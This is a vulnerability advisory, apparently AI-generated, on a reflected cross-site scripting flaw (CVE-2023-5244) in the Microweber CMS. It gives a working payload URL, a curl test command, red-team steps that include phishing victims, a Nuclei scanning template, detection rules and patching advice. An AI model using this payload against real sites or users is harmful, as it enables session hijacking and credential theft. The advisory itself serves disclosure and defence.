CVE-2023-5244

Executive Summary

CVE-2023-5244 is a reflected Cross-Site Scripting (XSS) vulnerability in Microweber versions prior to 2.0. The flaw exists in the /editor_tools/rte_image_editor endpoint, where the types GET parameter is not properly sanitized. An unauthenticated attacker can craft a malicious URL that, when visited by a victim, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or other client-side attacks. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.

Supply Chain & Package Security

Microweber is a PHP-based CMS. This vulnerability is not a supply chain attack on a package manager (e.g., NPM, PyPI, Go, Ruby). The risk is to end-users of the Microweber application who have not applied the patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - Victim must click a crafted link.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure (e.g., session cookies).
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): None (N) - No impact on availability.
• EPSS Score: 0.28933 (Percentile: 0.96584) - Low probability of exploitation in the wild, but PoC exists.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to client-side attacks.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the types GET parameter of the /editor_tools/rte_image_editor endpoint. The application does not properly sanitize or encode user input before reflecting it in the HTML response. An attacker can inject arbitrary JavaScript by crafting a malicious URL.

Attack Flow:

1. Attacker crafts a URL like: http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27
2. Attacker sends this URL to a victim (e.g., via phishing email).
3. Victim clicks the link and the browser sends a GET request to the vulnerable endpoint.
4. The server reflects the malicious payload in the response without sanitization.
5. The victim's browser executes the injected JavaScript (e.g., alert(document.domain)).
6. The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.0): The types parameter is directly echoed into the HTML response without encoding. Example (conceptual):

$types = $_GET['types'];
echo "<script>var types = '$types';</script>";

Patched Code (Commit 1cb846f): The input is sanitized or encoded before reflection. Example (conceptual):

$types = htmlspecialchars($_GET['types'], ENT_QUOTES, 'UTF-8');
echo "<script>var types = '$types';</script>";

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Microweber instance (version < 2.0).
• A web browser or tool like curl.

Exploit Steps:

1. Identify a target running Microweber < 2.0.
2. Craft the malicious URL:

   http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27
   

3. Send the URL to a victim (e.g., via email or social engineering).
4. When the victim clicks the link, the JavaScript executes in their browser.

Example using curl (for testing):

curl -v "http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"

Expected Output: The response will contain the injected JavaScript, and if opened in a browser, an alert box with the domain will appear.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /editor_tools/rte_image_editor with suspicious types parameters containing script tags or encoded payloads.
• Use WAF rules to block requests with XSS patterns in the types parameter.

Hunting:

• Search for URLs containing editor_tools/rte_image_editor?types= in proxy logs.
• Look for encoded characters like %27, %3C, %3E, or alert( in the types parameter.

Lab Setup:

• Deploy a vulnerable Microweber instance (e.g., using Docker) in an isolated environment.
• Use a tool like Burp Suite to intercept and modify requests.
• Test the exploit and verify detection rules.

Indicators of Compromise (IOCs)

• URL Pattern: /editor_tools/rte_image_editor?types=... with encoded JavaScript payloads.
• HTTP Request:

  GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1
  Host: target.com
  

• Response Body: Contains the reflected payload, e.g., alert(document.domain).
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if the payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2023_5244_Microweber_XSS {
    meta:
        description = "Detects reflected XSS attempts against Microweber CVE-2023-5244"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5244"
    strings:
        $xss_payload = /editor_tools\/rte_image_editor\?types=.*alert\(/
    condition:
        $xss_payload
}

Sigma Rule

title: Microweber Reflected XSS Attempt (CVE-2023-5244)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: '/editor_tools/rte_image_editor?types='
        cs-uri-query|contains: 'alert('
    condition: selection
falsepositives:
    - Legitimate use of the word 'alert' in a non-malicious context (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-5244 Microweber Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/editor_tools/rte_image_editor"; http_uri; content:"types="; http_uri; pcre:"/alert\(/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-5244

info:
  name: Microweber < V.2.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Microweber to version 2.0 or later.
  reference:
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
    - https://vuldb.com/?id.240778
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5244
    - https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5244
    cwe-id: CWE-79
    epss-score: 0.28933
    epss-percentile: 0.96584
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2023,huntr,xss,microweber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "microweber")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Microweber to version 2.0 or later. The fix is included in commit 1cb846f8f54ff6f5c668f3ae64dd81740a7e8968.
2. WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests containing XSS patterns in the types parameter.
3. Input Validation: Implement server-side input validation and output encoding for all user-supplied data.

Long-Term Measures:

• Conduct regular security audits and penetration testing.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate users about phishing attacks that exploit reflected XSS.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

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